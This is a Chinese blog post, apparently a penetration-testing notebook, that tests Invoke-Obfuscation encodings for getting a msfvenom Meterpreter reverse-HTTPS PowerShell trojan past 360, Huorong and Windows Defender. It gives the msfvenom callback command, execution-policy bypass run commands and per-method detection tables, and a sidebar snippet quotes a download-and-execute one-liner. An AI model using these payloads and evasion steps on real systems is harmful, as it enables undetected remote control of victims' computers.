Invoke-Obfuscation混淆免杀过360和火绒

最新推荐文章于 2024-04-23 10:05:03 发布
最新推荐文章于 2024-04-23 10:05:03 发布
阅读量1.9k 收藏 15
点赞数 3
分类专栏： 免杀和bypass 文章标签： 免杀 免杀360 免杀火绒 powershell混淆 安全
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
本文链接：https://blog.csdn.net/csdnmmd/article/details/117454031
版权

微信公众号：乌鸦安全 

图片

扫取二维码获取更多信息！

 

更新时间：2021-05-31

Invoke-Obfuscation下载地址：https://github.com/danielbohannon/Invoke-Obfuscation

参考文档 https://blog.csdn.net/weixin_44216796/article/details/112723993

先说下结果：

Invoke-Obfuscation的Encoding部分方法混淆可以过360和火绒，但是过不了Windows Defender

1. 模块使用

导入模块

Import-Module C:\0_poweshell\Invoke-Obfuscation-master\Invoke-Obfuscation.psd1

这里注意，一定要写上完整路径，不然会报错

加载模块

Invoke-Obfuscation

 

支持的加密方法：

  • TOKEN支持分部分混淆
STRING整条命令混淆
COMPRESS将命令转为单行并压缩，
ENCODING编码
LAUNCHER选择执行方式

     

2. msfvenom下msf上线

 

首先用msfvenom生成一个ps1文件

msfvenom -p windows/x64/meterpreter/reverse_https LHOST=10.211.55.2 LPORT=4444 -f psh-reflection > msf-crow.ps1

 

然后设置监听：

然后回到win10

2.1 360

直接在有360的环境下进行执行（这里不做云查杀和杀毒的操作）

PowerShell.exe -ExecutionPolicy Bypass -File .\msf-crow.ps1

 

上线成功。

这里来一次查杀，首先使用按位置查杀

 

 

 

报毒，直接在这个位置关闭，不处理

 

再运行一次，此时360提示有毒。

2.2 Windows defender

 

复制到Windows sever2019下，Windows Defender直接杀掉

2.3 火绒

关掉Windows Defender

 

 

 

直接使用火绒扫描，没扫描到。

上线试试：

 

 

直接就上线了！！！

2.4 总结

因此在此可以进行如下总结：

msfvenom最新版（2021-05-28安装）生成powershell攻击脚本在静态下的查杀效果：

 

 

火绒

360

Windows Defender

windows 10 64位

未测

❌

未测

windows server 2019 64位

✔️

未测

❌

ps：以上环境都联网状态下

 

同样

msfvenom最新版（2021-05-28安装）生成powershell攻击脚本在动态执行上线的查杀效果：

 

 

火绒

360

Windows Defender

windows 10 64位

未测

❌

未测

windows server 2019 64位

✔️

未测

❌

ps：以上环境都联网，且均在cmd中执行-ExecutionPolicy Bypass来绕过执行安全策略进行上线。

 

这里可以看到，360在第一次并不拦截，而且还可以上线，这可能由于我用的是虚拟机，如果是实体机的话，应该会被杀。

 

3. 混淆大法

 

设置需要混淆的木马文件路径

 set scriptpath C:\0_poweshell\msf-crow.ps1

 

4. 第一种混淆 1

encoding

选择第一种方法混淆

1

将文件输出的out 1.ps1

 

文件路径：

C:\0_poweshell\Invoke-Obfuscation-master\1.ps1

攻击机开启监听模式：

上线测试：

4.1 360

 

在360环境下直接运行（生成之后没有杀毒扫描）

PowerShell.exe -ExecutionPolicy Bypass -File C:\0_poweshell\Invoke-Obfuscation-master\1.ps1

 

这里是在cmd命令行下执行PowerShell命令的

-ExecutionPolicy Bypass：绕过执行安全策略，在默认情况下，PowerShell的安全策略规定了PowerShell不允许运行命令和文件。通过设置这个参数，可以绕过任意一个安全保护规则。在渗透测试中，基本每一次运行PowerShell脚本时都要使用这个参数。（参考：https://blog.csdn.net/Eastmount/article/details/115503946）

 

360下上线成功

 

但使用360云查杀之后显示报毒：

4.2 windows Defender

windows Defender 直接静态被杀

4.3 火绒

火绒，静态扫描报毒

动态上线失败

4.4 总结

静态查杀

 

火绒

360

Windows Defender

windows 10 64位

未测

❌

未测

windows server 2019 64位

❌

未测

❌

全挂。。。

5. 第2种混淆 2

 

 

这里先静态测试下：

5.1 火绒

 

火绒：

 

 

5.2 360

360云查杀

 

 

5.3 Windows Defender

 

静态查杀能力：

 

火绒

360

Windows Defender

windows 10 64位

未测

✔️

未测

windows server 2019 64位

❌

未测

✔️

 

动态上线能力：

PowerShell.exe -ExecutionPolicy Bypass -File C:\0_poweshell\Invoke-Obfuscation-master\2.ps1

 

火绒：

静态查杀，动态上线失败

 

windf：

静态查杀正常，动态上线失败

 

360：

动态上线失败，而且清除了木马，因此这里360也是静动均查杀了木马

此时对其进行重新调整：

 

5.4 总结

静态查杀能力：

 

火绒

360

Windows Defender

windows 10 64位

未测

❌

未测

windows server 2019 64位

❌

未测

✔️

动态上线：

 

火绒

360

Windows Defender

windows 10 64位

未测

❌

未测

windows server 2019 64位

❌

未测

❌

6. 第三种方法 3

 

6.1 360

 

动态上线测试

再次云查杀

 

6.2 火绒

 

 

6.3 windows Defender

静态正常

动态：失败

6.4 总结

静态查杀能力：

 

火绒

360

Windows Defender

windows 10 64位

未测

✔️

未测

windows server 2019 64位

❌

未测

✔️

动态上线：

 

火绒

360

Windows Defender

windows 10 64位

未测

✔️

未测

windows server 2019 64位

❌

未测

❌

7. 第四种方法 4

7.1 360

 

上线测试

 

7.2 火绒

 

动态正常

 

 

 

 

7.3 windows Defender

静态过了

 

动态上线失败

7.4 总结

静态查杀能力：

 

火绒

360

Windows Defender

windows 10 64位

未测

✔️

未测

windows server 2019 64位

✔️

未测

✔️

动态上线：

 

火绒

360

Windows Defender

windows 10 64位

未测

✔️

未测

windows server 2019 64位

✔️

未测

❌

 

8. 第五种方法 5

 

 

现在验证下各种查杀

 

8.1 360

 

动态上线

 

8.2 火绒

 

8.3 window defender

 

 

都报错，那再生成一次，这次报错更多了

 

8.4 总结

 

静态查杀能力：

 

火绒

360

Windows Defender

windows 10 64位

未测

✔️

未测

windows server 2019 64位

✔️

未测

✔️

动态上线：

 

火绒

360

Windows Defender

windows 10 64位

未测

运行报错

未测

windows server 2019 64位

运行报错

未测

运行报错

 

9. 第6种方法 6

 

 

9.1 360

 

 

动态上线测试，上线正常

再杀一次，还是正常

 

9.2 火绒

 

 

9.3 window defender

9.4 总结

 

 

静态查杀能力：

 

火绒

360

Windows Defender

windows 10 64位

未测

✔️

未测

windows server 2019 64位

✔️

未测

❌

动态上线：

 

火绒

360

Windows Defender

windows 10 64位

未测

✔️

未测

windows server 2019 64位

✔️

未测

❌

 

 

10. 第七种方法 7

 

10.1 360

 

 

动态上线测试，win10下的powershell崩掉，应该是由于字符太大的原因

 

 

10.2 火绒

 

动态上线测试：

 

10.3 window defender

由于脚本无法在我的win10下测试，这里到winserver2019上进行测试，开启Windows defender防护

上线失败

 

 

 

 

10.4 总结

 

静态查杀能力：

 

火绒

360

Windows Defender

windows 10 64位

未测

✔️

未测

windows server 2019 64位

✔️

未测

✔️

动态上线：

 

火绒

360

Windows Defender

windows 10 64位

未测

✔️

未测

windows server 2019 64位

✔️

未测

❌

 

11. 第八种方法 8

11.1 360

 

 

11.2 火绒

 

 

 

 

 

11.3 window defender

 

 

11.4 总结

静态查杀能力：

 

火绒

360

Windows Defender

windows 10 64位

未测

✔️

未测

windows server 2019 64位

✔️

未测

✔️

动态上线：

 

火绒

360

Windows Defender

windows 10 64位

未测

✔️

未测

windows server 2019 64位

✔️

未测

❌

 

 

12. 总结

12.1 版本问题

环境：

Windows10 x64 + 360

 

winserver2019 x64 + 火绒

 

windows Defender最新版本

12.2 查杀问题

火绒，360，Windows defender均采用联网查杀，其中360采用云杀毒模式

 

12.3 bypass av能力总结

msfvenom生成powershell攻击脚本和Invoke-Obfuscation混淆方法在Encoding模式下的静态查杀效果：

 

 

 

msfvenom最新版（2021-05-28安装）

火绒

360

Windows Defender

windows 10 64位

msfvenom最新版（2021-05-28安装）

未测

❌

未测

windows server 2019 64位

msfvenom最新版（2021-05-28安装）

✔️

未测

❌

 

 

方法1: ASCII

火绒

360

Windows Defender

windows 10 64位

方法1: ASCII

未测

❌

未测

windows server 2019 64位

方法1: ASCII

❌

未测

❌

 

方法2: Hex

火绒

360

Windows Defender

windows 10 64位

方法2: Hex

未测

✔️

未测

windows server 2019 64位

方法2: Hex

❌

未测

✔️

 

方法3: Octal

火绒

360

Windows Defender

windows 10 64位

方法3: Octal

未测

✔️

未测

windows server 2019 64位

方法3: Octal

❌

未测

✔️

 

方法4: Binary

火绒

360

Windows Defender

windows 10 64位

方法4: Binary

未测

✔️

未测

windows server 2019 64位

方法4: Binary

✔️

未测

✔️

 

方法5: SecureString (AES)

火绒

360

Windows Defender

windows 10 64位

方法5: SecureString (AES)

未测

✔️

未测

windows server 2019 64位

方法5: SecureString (AES)

✔️

未测

✔️

 

方法6: BXOR

火绒

360

Windows Defender

windows 10 64位

方法6: BXOR

未测

✔️

未测

windows server 2019 64位

方法6: BXOR

✔️

未测

❌

 

方法7: Special Characters

火绒

360

Windows Defender

windows 10 64位

方法7: Special Characters

未测

✔️

未测

windows server 2019 64位

方法7: Special Characters

✔️

未测

✔️

 

方法8: Whitespace

火绒

360

Windows Defender

windows 10 64位

方法8: Whitespace

未测

✔️

未测

windows server 2019 64位

方法8: Whitespace

✔️

未测

✔️

ps：以上环境都联网状态下，360采用云查杀

 

 

同样

msfvenom生成powershell攻击脚本和Invoke-Obfuscation混淆方法在Encoding模式下的动态上线查杀效果：

 

 

 

msfvenom最新版（2021-05-28安装）

火绒

360

Windows Defender

windows 10 64位

msfvenom最新版（2021-05-28安装）

未测

❌

未测

windows server 2019 64位

msfvenom最新版（2021-05-28安装）

✔️

未测

❌

 

方法1: ASCII

火绒

360

Windows Defender

windows 10 64位

方法1: ASCII

未测

❌

未测

windows server 2019 64位

方法1: ASCII

❌

未测

❌

 

方法2: Hex

火绒

360

Windows Defender

windows 10 64位

方法2: Hex

未测

❌

未测

windows server 2019 64位

方法2: Hex

❌

未测

❌

 

方法3: Octal

火绒

360

Windows Defender

windows 10 64位

方法3: Octal

未测

✔️

未测

windows server 2019 64位

方法3: Octal

❌

未测

❌

 

方法4: Binary

火绒

360

Windows Defender

windows 10 64位

方法4: Binary

未测

✔️

未测

windows server 2019 64位

方法4: Binary

✔️

未测

❌

 

方法5: SecureString (AES)

火绒

360

Windows Defender

windows 10 64位

方法5: SecureString (AES)

未测

运行报错

未测

windows server 2019 64位

方法5: SecureString (AES)

运行报错

未测

运行报错

 

方法6: BXOR

火绒

360

Windows Defender

windows 10 64位

方法6: BXOR

未测

✔️

未测

windows server 2019 64位

方法6: BXOR

✔️

未测

❌

 

方法7: Special Characters

火绒

360

Windows Defender

windows 10 64位

方法7: Special Characters

未测

✔️

未测

windows server 2019 64位

方法7: Special Characters

✔️

未测

❌

 

方法8: Whitespace

火绒

360

Windows Defender

windows 10 64位

方法8: Whitespace

未测

✔️

未测

windows server 2019 64位

方法8: Whitespace

✔️

未测

❌

ps：以上环境都联网状态下，360采用云查杀

原文地址：https://mp.weixin.qq.com/s/Nvog8OJZXvPKMqJ8MkwNAQ

乌鸦安全
关注
  • 3
    点赞
  • 踩
  • 15
    收藏
    觉得还不错? 一键收藏
  • 1
    评论
专栏目录
如何在Android应用中安全地使用SQLite数据库，并通过SQLCipher进行加密保护
轻描时光
04-23 44
Android内置SQLite轻量级关系型数据库，可以在Android应用中存储、检索和管理结构化数据。SQLite是一个无服务器的、零配置的、事务性的SQL数据库引擎，非常适合用于移动设备和桌面应用程序中。：SQLite不需要单独的服务器进程或操作系统级别的配置。可以直接读写磁盘上的文件，非常高效且适合在资源有限的移动设备上使用。：SQLite支持ACID事务，提供了原子性、一致性、隔离性和持久性。保证了即使在发生故障的情况下，数据的完整性也能得到维护。
【渗透测试笔记】之【免杀工具——使用Invoke-Obfuscation代码混淆免杀powershell】
AA8j的博客
07-06 1724
0x01 项目地址 https://github.com/danielbohannon/Invoke-Obfuscation 0x02 用法 生成powershell： powershell.exe -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring('http://x.x.x.x:55556/a'))" 下载并用powershell进入项目目录执行：Import-Module .\Invoke-Obfuscati
Invoke-WCMDump-master1.rar
06-10
使用 Invoke-WCMDump 加powershell 获取windows凭证密码 使用文档地址：https://blog.csdn.net/caperxi/article/details/117775522
利用Invoke-Obfuscation工具进行Powershell恶意脚本免杀
m0_62239233的博客
04-18 663
记录渗透学习中的实验过程。
Invoke-Obfuscation笔记
mingyqf的博客
05-11 1238
坑点：window11不行，放到虚拟机win10 就行了 步骤： Import-Module ./Invoke-Obfuscation.psd1 Invoke-Obfuscation
invoke-obfuscation使用遇到的问题及Encoding免杀
Croil的博客
12-25 1980
简单的invoke-obfuscation使用
PowerShell木马免杀利器: Invoke-Obfuscation(过火绒)
xf555er的博客
01-07 1987
Invoke-Obfuscation工具下载地址: https://github.com/danielbohannon/Invoke-ObfuscationInvoke-Obfuscation是一款PowerShell混淆工具，可以将PowerShell脚本加密，使得它的检测和分析变得更加困难。该工具包含多种加密方法，可以单独使用也可以结合使用，以提高混淆的效果。
Invoke-Obfuscation：一款功能强大的PowerShell代码混淆工具
qq_53058639的博客
08-09 236
很多网络攻击者和商业化恶意软件正在使用一些非常基础的代码混淆技术，并尝试从powershell.exe的命令行参数中隐藏大部分命令。因此，Invoke-Obfuscation的使用非常简单，因为它支持以可视化的形式来使用和研究针对PowerShell代码和命令的混淆技术。Invoke-Obfuscation是一款功能强大的PowerShell代码混淆工具，该工具兼容PowerShell。v2.0-v5.0语法上可能存在的命令混淆问题，以便提升研究人员和反病毒产品的检测能力。本项目的开发与发布遵循[
Invoke-Obfuscation(psh代码混淆)
不知名白帽的博客
08-11 783
Invoke-Obfuscation(psh代码混淆)
渗透测试-window反弹shell
lza20001103的博客
05-11 3847
window反弹shell
Invoke-Obfuscation-Bypass + PS2EXE 绕过主流杀软1
08-03
Invoke-Obfuscation-Bypass + PS2EXE 绕过主流杀软Invoke-Obfuscation-Bypass + PS2EXE 绕过主流
Invoke-Pwds:用于SAM哈希检索的混淆Invoke-PowerDump
05-16
调用密码用于SAM哈希检索的混淆Invoke-PowerDump
invoke-atomicredteam:Invoke-AtomicRedTeam是一个PowerShell模块，用于执行[atomics文件夹]（https
04-30
Invoke-AtomicRedTeam是一个PowerShell模块，用于执行Red Canary的Atomic Red Team项目的中定义的测试。 “ atomics文件夹”包含定义的每种技术的文件夹。 在每个“ T＃”文件夹中，您都会找到一个yaml文件，该文件...
Invoke-ARPScan.ps1
04-04
Invoke-ARPScan.ps1
安装SSL证书之后还会有不安全提示怎么办？
JoySSL230907的博客
04-20 747
在这里，你可以申请到免费单域名证书、免费多域名证书以及免费通配符证书。在这里，你可以申请到免费单域名证书、免费多域名证书以及免费通配符证书。- 证书链完整性：确保您不仅安装了主证书，还包含了所有必要的中间证书。缺少中间证书可能导致浏览器认为证书不可信。- 清除浏览器缓存：浏览器可能缓存了旧的或错误的证书信息，清除缓存有助于加载新安装的证书。永久免费SSL证书_永久免费https证书_永久免费ssl证书申请-JoySSL。永久免费SSL证书_永久免费https证书_永久免费ssl证书申请-JoySSL。
跨境电商测评攻略：如何安全有效地提升业绩？
zcwz888的博客
04-23 193
但自养号需要解决技术层面的问题，如果是买设备或者软件这种，可能上一秒还能用，下一秒就因为平台风控的原因批量封号，因为平台会通过ip 获取到设备的型号，地区码，监管码，主板码，WIFI地址，甚至是颜色，指纹码，IP地址等等大概几十个参数，参数关联后，触发平台机审，导致的砍单，封号。这时候要好好规划一下测评的事情，做美客多到最后你会发现，测评是最有效果的，因为测评的本质就是玩弄流量，模仿用户的真实行为让流量变得更多，从而得到跨境电商平台规则的加成，竞争激烈的产品不测评和别人竞争。
黑龙江—等保测评三级安全设计思路
2403_84237550的博客
04-19 780
本方案在对信息系统可能面临的安全威胁进行分析的基础上，结合安全域的划分，从物理层、网络层、系统层、应用层、数据层和管理层几个安全层面进行了整体的安全设计，在整体保障框架的指导下，综合多种有效的安全防护措施，进行多层和多重防御，实现纵深防御。3、体现了分域防护的思想。不同的安全等级要求具有不同的基本安全保护能力，实现基本安全保护能力将通过选用合适的安全措施或安全控制来保证，可以使用的安全措施或安全控制表现为安全基本要求，依据实现方式的不同，信息系统等级保护的安全基本要求分为技术要求和管理要求两大类。
vue2 顶象 安全 验证码的使用
最新发布
lele66688888的博客
04-23 122
类似与这样的登录之前的验证 滑动一个盒子了 或者是 顺序点击文字了 等。
invoke-custom 指令是什么
06-12
invoke-custom 是 Java 虚拟机中一种比较特殊的指令，它是用于实现动态语言和函数式编程语言的重要机制之一。 在 Java 8 之前，Java 语言并没有对函数式编程提供原生的支持。但是，Java 8 引入了 Lambda 表达式和...

“相关推荐”对你有帮助么？

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值